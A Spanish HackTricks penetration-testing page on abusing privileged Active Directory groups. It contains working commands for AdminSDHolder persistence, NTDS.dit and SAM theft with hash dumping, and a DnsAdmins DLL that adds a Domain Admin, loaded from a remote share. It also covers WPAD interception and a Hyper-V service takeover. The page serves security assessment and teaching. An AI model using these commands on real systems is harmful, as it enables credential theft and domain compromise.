hacktricks/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md

25 KiB

Grupos privilegiados

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Grupos conocidos con privilegios de administración

  • Administradores
  • Administradores de dominio
  • Administradores de empresa

Existen otras membresías de cuentas y privilegios de tokens de acceso que también pueden ser útiles durante las evaluaciones de seguridad al encadenar múltiples vectores de ataque.

Operadores de cuenta

  • Permite crear cuentas y grupos no administradores en el dominio
  • Permite iniciar sesión en el DC localmente

Obtener los miembros del grupo:

Get-NetGroupMember -Identity "Account Operators" -Recurse

Ten en cuenta la membresía del usuario "spotless":

Sin embargo, aún podemos agregar nuevos usuarios:

También podemos iniciar sesión en DC01 localmente:

Grupo AdminSDHolder

La Lista de Control de Acceso (ACL) del objeto AdminSDHolder se utiliza como plantilla para copiar permisos a todos los "grupos protegidos" en Active Directory y sus miembros. Los grupos protegidos incluyen grupos privilegiados como Domain Admins, Administradores, Enterprise Admins y Schema Admins.
Por defecto, la ACL de este grupo se copia dentro de todos los "grupos protegidos". Esto se hace para evitar cambios intencionales o accidentales en estos grupos críticos. Sin embargo, si un atacante modifica la ACL del grupo AdminSDHolder, por ejemplo, dando permisos completos a un usuario regular, este usuario tendrá permisos completos en todos los grupos dentro del grupo protegido (en una hora).
Y si alguien intenta eliminar a este usuario de los Domain Admins (por ejemplo) en una hora o menos, el usuario volverá al grupo.

Obtener los miembros del grupo:

Get-NetGroupMember -Identity "AdminSDHolder" -Recurse

Añadir un usuario al grupo AdminSDHolder:

Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All

Verifique si el usuario está dentro del grupo Domain Admins:

Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}

Si no quieres esperar una hora, puedes usar un script de PS para hacer que la restauración suceda instantáneamente: https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1

Más información en ired.team.

Papelera de reciclaje de AD

Este grupo te da permiso para leer objetos de AD eliminados. Algo de información jugosa puede ser encontrada allí:

#This isn't a powerview command, it's a feature from the AD management powershell module of Microsoft
#You need to be in the "AD Recycle Bin" group of the AD to list the deleted AD objects
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *

Acceso al Controlador de Dominio

Observe cómo no podemos acceder a los archivos en el DC con la membresía actual:

Sin embargo, si el usuario pertenece a Operadores de Servidor:

La historia cambia:

Escalada de privilegios

Use PsService o sc, de Sysinternals, para verificar los permisos en un servicio.

C:\> .\PsService.exe security AppReadiness

PsService v2.25 - Service information and configuration utility
Copyright (C) 2001-2010 Mark Russinovich
Sysinternals - www.sysinternals.com

[...]

        [ALLOW] BUILTIN\Server Operators
                All

Esto confirma que el grupo Server Operators tiene el derecho de acceso SERVICE_ALL_ACCESS, lo que nos da control total sobre este servicio. Puedes abusar de este servicio para hacer que el servicio ejecute comandos arbitrarios y escalar privilegios.

Operadores de copia de seguridad

Al igual que con la membresía de Server Operators, podemos acceder al sistema de archivos de DC01 si pertenecemos a Backup Operators.

Esto se debe a que este grupo otorga a sus miembros los privilegios SeBackup y SeRestore. El privilegio SeBackupPrivilege nos permite atravesar cualquier carpeta y listar el contenido de la carpeta. Esto nos permitirá copiar un archivo de una carpeta, incluso si nada más te está dando permisos. Sin embargo, para abusar de estos permisos para copiar un archivo, se debe usar el indicador FILE_FLAG_BACKUP_SEMANTICS. Por lo tanto, se necesitan herramientas especiales.

Para este propósito, puedes usar estos scripts.

Obtener los miembros del grupo:

Get-NetGroupMember -Identity "Backup Operators" -Recurse

Ataque Local

# Import libraries
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
Get-SeBackupPrivilege # ...or whoami /priv | findstr Backup SeBackupPrivilege is disabled

# Enable SeBackupPrivilege
Set-SeBackupPrivilege
Get-SeBackupPrivilege

# List Admin folder for example and steal a file
dir C:\Users\Administrator\
Copy-FileSeBackupPrivilege C:\Users\Administrator\\report.pdf c:\temp\x.pdf -Overwrite

Ataque AD

Por ejemplo, se puede acceder directamente al sistema de archivos del Controlador de Dominio:

Se puede abusar de este acceso para robar la base de datos de Active Directory NTDS.dit para obtener todos los hashes NTLM de todos los objetos de usuario y equipo en el dominio.

Usando diskshadow se puede crear una copia de sombra de la unidad C y en la unidad F, por ejemplo. Luego, se puede robar el archivo NTDS.dit de esta copia de sombra ya que no estará en uso por el sistema:

diskshadow.exe

Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer:  DC,  10/14/2020 10:34:16 AM

DISKSHADOW> set verbose on
DISKSHADOW> set metadata C:\Windows\Temp\meta.cab
DISKSHADOW> set context clientaccessible
DISKSHADOW> set context persistent
DISKSHADOW> begin backup
DISKSHADOW> add volume C: alias cdrive
DISKSHADOW> create
DISKSHADOW> expose %cdrive% F:
DISKSHADOW> end backup
DISKSHADOW> exit

Al igual que en el ataque local, ahora puedes copiar el archivo privilegiado NTDS.dit:

Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit

Otra forma de copiar archivos es usando robocopy:

robocopy /B F:\Windows\NTDS .\ntds ntds.dit

Entonces, puedes fácilmente robar el SYSTEM y SAM:

reg save HKLM\SYSTEM SYSTEM.SAV
reg save HKLM\SAM SAM.SAV

Finalmente puedes obtener todos los hashes del archivo NTDS.dit:

secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL

DnsAdmins

Un usuario que es miembro del grupo DNSAdmins o tiene privilegios de escritura en un servidor DNS puede cargar una DLL arbitraria con privilegios de SYSTEM en el servidor DNS.
Esto es realmente interesante ya que los Controladores de Dominio se utilizan con mucha frecuencia como servidores DNS.

Como se muestra en este **** post, el siguiente ataque se puede realizar cuando DNS se ejecuta en un Controlador de Dominio (lo cual es muy común):

  • La gestión de DNS se realiza sobre RPC
  • ServerLevelPluginDll nos permite cargar una DLL personalizada sin verificación de la ruta de la DLL. Esto se puede hacer con la herramienta dnscmd desde la línea de comandos
  • Cuando un miembro del grupo DnsAdmins ejecuta el comando dnscmd a continuación, se completa la clave del registro HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll
  • Cuando se reinicia el servicio DNS, se cargará la DLL en esta ruta (es decir, una carpeta compartida a la que la cuenta de máquina del Controlador de Dominio puede acceder)
  • Un atacante puede cargar una DLL personalizada para obtener una shell inversa o incluso cargar una herramienta como Mimikatz como una DLL para volcar credenciales.

Obtener miembros del grupo:

Get-NetGroupMember -Identity "DnsAdmins" -Recurse

Ejecutar DLL arbitraria

Luego, si tienes un usuario dentro del grupo DNSAdmins, puedes hacer que el servidor DNS cargue una DLL arbitraria con privilegios de SYSTEM (el servicio DNS se ejecuta como NT AUTHORITY\SYSTEM). Puedes hacer que el servidor DNS cargue un archivo DLL local o remoto (compartido por SMB) ejecutando:

dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll

Un ejemplo de una DLL válida se puede encontrar en https://github.com/kazkansouh/DNSAdmin-DLL. Cambiaría el código de la función DnsPluginInitialize por algo como:

DWORD WINAPI DnsPluginInitialize(PVOID pDnsAllocateFunction, PVOID pDnsFreeFunction)
{
		system("C:\\Windows\\System32\\net.exe user Hacker T0T4llyrAndOm... /add /domain");
		system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /domain");
}

O puedes generar una dll usando msfvenom:

msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll

Entonces, cuando el servicio de DNS se inicia o reinicia, se creará un nuevo usuario.

Incluso teniendo un usuario dentro del grupo DNSAdmin, por defecto no se puede detener y reiniciar el servicio de DNS. Pero siempre se puede intentar hacer lo siguiente:

sc.exe \\dc01 stop dns
sc.exe \\dc01 start dns

Aprende más sobre esta escalada de privilegios en ired.team.

Mimilib.dll

Como se detalla en este post, también es posible utilizar mimilib.dll del creador de la herramienta Mimikatz para obtener la ejecución de comandos mediante la modificación del archivo kdns.c para ejecutar un reverse shell o cualquier otro comando que elijamos.

Registro WPAD para MitM

Otra forma de abusar de los privilegios del grupo DnsAdmins es creando un registro WPAD. La pertenencia a este grupo nos da los derechos para desactivar la seguridad de bloqueo de consulta global, que por defecto bloquea este ataque. El servidor 2008 introdujo por primera vez la capacidad de agregar a una lista de bloqueo de consulta global en un servidor DNS. Por defecto, el Protocolo de Descubrimiento Automático de Proxy Web (WPAD) y el Protocolo de Dirección de Túnel Automático Intra-Sitio (ISATAP) están en la lista de bloqueo de consulta global. Estos protocolos son bastante vulnerables al secuestro, y cualquier usuario del dominio puede crear un objeto de equipo o un registro DNS que contenga esos nombres.

Después de desactivar la lista de bloqueo de consulta global y crear un registro WPAD, cada máquina que ejecute WPAD con la configuración predeterminada tendrá su tráfico proxy a través de nuestra máquina de ataque. Podríamos usar una herramienta como **** Responder o Inveigh para realizar el spoofing de tráfico, y tratar de capturar hashes de contraseñas y crackearlos sin conexión o realizar un ataque SMBRelay.

{% content-ref url="../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %} spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md {% endcontent-ref %}

Lectores de registro de eventos

Los miembros del grupo Lectores de registro de eventos **** tienen permiso para acceder a los registros de eventos generados (como los registros de creación de nuevos procesos). En los registros se puede encontrar información sensible. Veamos cómo visualizar los registros:

#Get members of the group
Get-NetGroupMember -Identity "Event Log Readers" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Event Log Readers"

# To find "net [...] /user:blahblah password"
wevtutil qe Security /rd:true /f:text | Select-String "/user"
# Using other users creds
wevtutil qe Security /rd:true /f:text /r:share01 /u:<username> /p:<pwd> | findstr "/user"

# Search using PowerShell
Get-WinEvent -LogName security [-Credential $creds] | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'} | Select-Object @{name='CommandLine';expression={ $_.Properties[8].Value }}

Permisos de Windows Exchange

Los miembros tienen la capacidad de escribir un DACL en el objeto de dominio. Un atacante podría abusar de esto para dar privilegios de DCSync a un usuario.
Si Microsoft Exchange está instalado en el entorno de AD, es común encontrar cuentas de usuario e incluso computadoras como miembros de este grupo.

Este repositorio de GitHub explica algunas técnicas para escalar privilegios abusando de los permisos de este grupo.

#Get members of the group
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse

Administradores de Hyper-V

El grupo de Administradores de Hyper-V tiene acceso completo a todas las funciones de Hyper-V. Si los Controladores de Dominio han sido virtualizados, entonces los administradores de virtualización deben considerarse Administradores de Dominio. Podrían fácilmente crear un clon del Controlador de Dominio en vivo y montar el disco virtual sin conexión para obtener el archivo NTDS.dit y extraer los hashes de contraseñas NTLM de todos los usuarios del dominio.

También está bien documentado en este blog que al eliminar una máquina virtual, vmms.exe intenta restaurar los permisos de archivo originales en el correspondiente archivo .vhdx y lo hace como NT AUTHORITY\SYSTEM, sin hacerse pasar por el usuario. Podemos eliminar el archivo .vhdx y crear un enlace duro nativo para apuntar este archivo a un archivo protegido del sistema, y se nos darán permisos completos.

Si el sistema operativo es vulnerable a CVE-2018-0952 o CVE-2019-0841, podemos aprovechar esto para obtener privilegios de SYSTEM. De lo contrario, podemos intentar aprovechar una aplicación en el servidor que haya instalado un servicio que se ejecuta en el contexto de SYSTEM, que puede ser iniciado por usuarios sin privilegios.

Ejemplo de explotación

Un ejemplo de esto es Firefox, que instala el Servicio de Mantenimiento de Mozilla. Podemos actualizar este exploit (una prueba de concepto para el enlace duro de NT) para otorgar a nuestro usuario actual permisos completos en el archivo a continuación:

C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

Tomando posesión del archivo

Después de ejecutar el script de PowerShell, deberíamos tener control total de este archivo y poder tomar posesión de él.

C:\htb> takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

Iniciando el Servicio de Mantenimiento de Mozilla

A continuación, podemos reemplazar este archivo con un maintenanceservice.exe malicioso, iniciar el servicio de mantenimiento y obtener la ejecución de comandos como SYSTEM.

C:\htb> sc.exe start MozillaMaintenance

{% hint style="info" %} Este vector ha sido mitigado por las actualizaciones de seguridad de Windows de marzo de 2020, que cambiaron el comportamiento relacionado con los enlaces duros. {% endhint %}

Administración de la organización

Este grupo también está presente en entornos con Microsoft Exchange instalado. Los miembros de este grupo pueden acceder a los buzones de todos los usuarios del dominio. Este grupo también tiene control total del OU llamado Microsoft Exchange Security Groups, que contiene el grupo Exchange Windows Permissions (siga el enlace para ver cómo abusar de este grupo para la elevación de privilegios).

Operadores de impresión

Los miembros de este grupo tienen concedido:

  • SeLoadDriverPrivilege
  • Iniciar sesión localmente en un controlador de dominio y apagarlo
  • Permisos para administrar, crear, compartir y eliminar impresoras conectadas a un controlador de dominio

{% hint style="warning" %} Si el comando whoami /priv no muestra SeLoadDriverPrivilege desde un contexto sin elevación, es necesario evitar el UAC. {% endhint %}

Obtener los miembros del grupo:

Get-NetGroupMember -Identity "Print Operators" -Recurse

Usuarios de Escritorio Remoto

Los miembros de este grupo pueden acceder a las PC a través de RDP.
Obtener miembros del grupo:

Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"

Más información sobre RDP:

{% content-ref url="../../network-services-pentesting/pentesting-rdp.md" %} pentesting-rdp.md {% endcontent-ref %}

Usuarios de administración remota

Los miembros de este grupo pueden acceder a las PC a través de WinRM.

Get-NetGroupMember -Identity "Remote Management Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"

Más información sobre WinRM:

{% content-ref url="../../network-services-pentesting/5985-5986-pentesting-winrm.md" %} 5985-5986-pentesting-winrm.md {% endcontent-ref %}

Operadores de servidor

Esta membresía permite a los usuarios configurar los controladores de dominio con los siguientes privilegios:

  • Permitir inicio de sesión localmente
  • Hacer copias de seguridad de archivos y directorios
  • ``SeBackupPrivilege y SeRestorePrivilege
  • Cambiar la hora del sistema
  • Cambiar la zona horaria
  • Forzar el apagado desde un sistema remoto
  • Restaurar archivos y directorios
  • Apagar el sistema
  • Controlar servicios locales

Obtener miembros del grupo:

Get-NetGroupMember -Identity "Server Operators" -Recurse

Referencias

{% embed url="https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges" %}

{% embed url="https://www.tarlogic.com/es/blog/abusing-seloaddriverprivilege-for-privilege-escalation/" %}

{% embed url="https://docs.microsoft.com/es-es/windows-server/identity/ad-ds/plan/security-best-practices/appendix-b--privileged-accounts-and-groups-in-active-directory" %}

{% embed url="https://docs.microsoft.com/es-es/windows/desktop/secauthz/enabling-and-disabling-privileges-in-c--" %}

{% embed url="https://adsecurity.org/?p=3658" %}

{% embed url="http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/" %}

{% embed url="https://www.tarlogic.com/es/blog/abusing-seloaddriverprivilege-for-privilege-escalation/" %}

{% embed url="https://rastamouse.me/2019/01/gpo-abuse-part-1/" %}

{% embed url="https://github.com/killswitch-GUI/HotLoad-Driver/blob/master/NtLoadDriver/EXE/NtLoadDriver-C%2B%2B/ntloaddriver.cpp#L13" %}

{% embed url="https://github.com/tandasat/ExploitCapcom" %}

{% embed url="https://github.com/TarlogicSecurity/EoPLoadDriver/blob/master/eoploaddriver.cpp" %}

{% embed url="https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys" %}

{% embed url="https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e" %}

{% embed url="https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥